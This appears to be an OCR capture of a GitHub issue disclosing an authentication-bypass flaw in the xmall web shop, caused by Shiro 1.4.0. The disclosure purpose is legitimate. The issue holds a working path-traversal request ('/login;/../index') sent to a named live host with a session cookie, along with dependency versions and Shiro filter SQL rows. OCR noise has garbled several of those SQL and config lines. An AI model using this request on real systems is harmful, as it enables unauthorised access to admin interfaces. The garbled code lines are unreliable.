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There is an Incorrect Access Control vulnerability in xmall #96

(oven)

§

RacerZ-fighting opened on Nov 23, 2024

[Suggested description]

©

xmall was found to have an Incorrect Access Control vulnerability due to the use of an insecure version of

Shiro.

[Vulnerability Type]
Incorrect access control

[Vendor of Product]
https://github.com/Exrick/xmall

[Affected Product Code Base]
all version (<=v1.1)

[Affected Component]
All interface require authentication

[Attack Type]
Remote

[Vulnerability details]
Send the payload below to the interface /index

GET /login;/../index HTTP/1.1

Host: xmadmin.exrick.cn

User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*

Host: xmadmin.exrick.cn

Connection: keep-alive

Cookie: JSESSIONID=AFB6620FA06404C85D9C5E285E193F8C
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GET http://xmadmin.exrick.cn/index
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[Cause of vulnerability]
Shiro is used for authentication in Xmall, but version 1.4.0 contains an insecure implementation

<elasticsearch.version>6.2.3</elasticsearch.version>
<log4j.version>2.9.1</1log4j.version>

<shiro.version>1.4.0</shiro.version>

<json.version>20171018</json.version>
<mail.version>1.5.0-b@1l</mail.version>

Meanwhile, xmall includes some interfaces configured without permission requirements, enabling the
exploitation of vulnerabilities in Shiro's implementation to achieve authentication bypass.

INSERT INTO “tb_shiro_filter® VALUEY ('1', '/login', 'anon', '1');
INSERT INTO “tb_shiro_filter® VALUEY{ ('2', '/403', 'anon', '2');
INSERT INTO “tb_shiro_filter® VALUES ('3', '/', ‘'authc', '3');
INSERT INTO “tb_shiro_filter® VALUES ('7', '/index', 'authc', '4');
INSERT INTO “tb_shiro_filter® VALUES ('8', '/welcome', 'authc', '5');
INSERT INTO “tb_shiro_filter® VALUES ('9', '/thanks-pic', 'authc', '6');
INSERT INTO “tb_shiro_filter® VALUES ('1@', '/lock-screen', 'authc', '7');
INSERT INTO “tb_shiro_filter® VALUES ('11', '/user/logout', ‘'authc', '8');
TNSFRT TNTN “th chirn filter® VAIIIFS ('12'_  '"/ucer/ncerTnfa'_  'authe'_ 'G'):

leopoldwalden on Nov 23, 2024 via email
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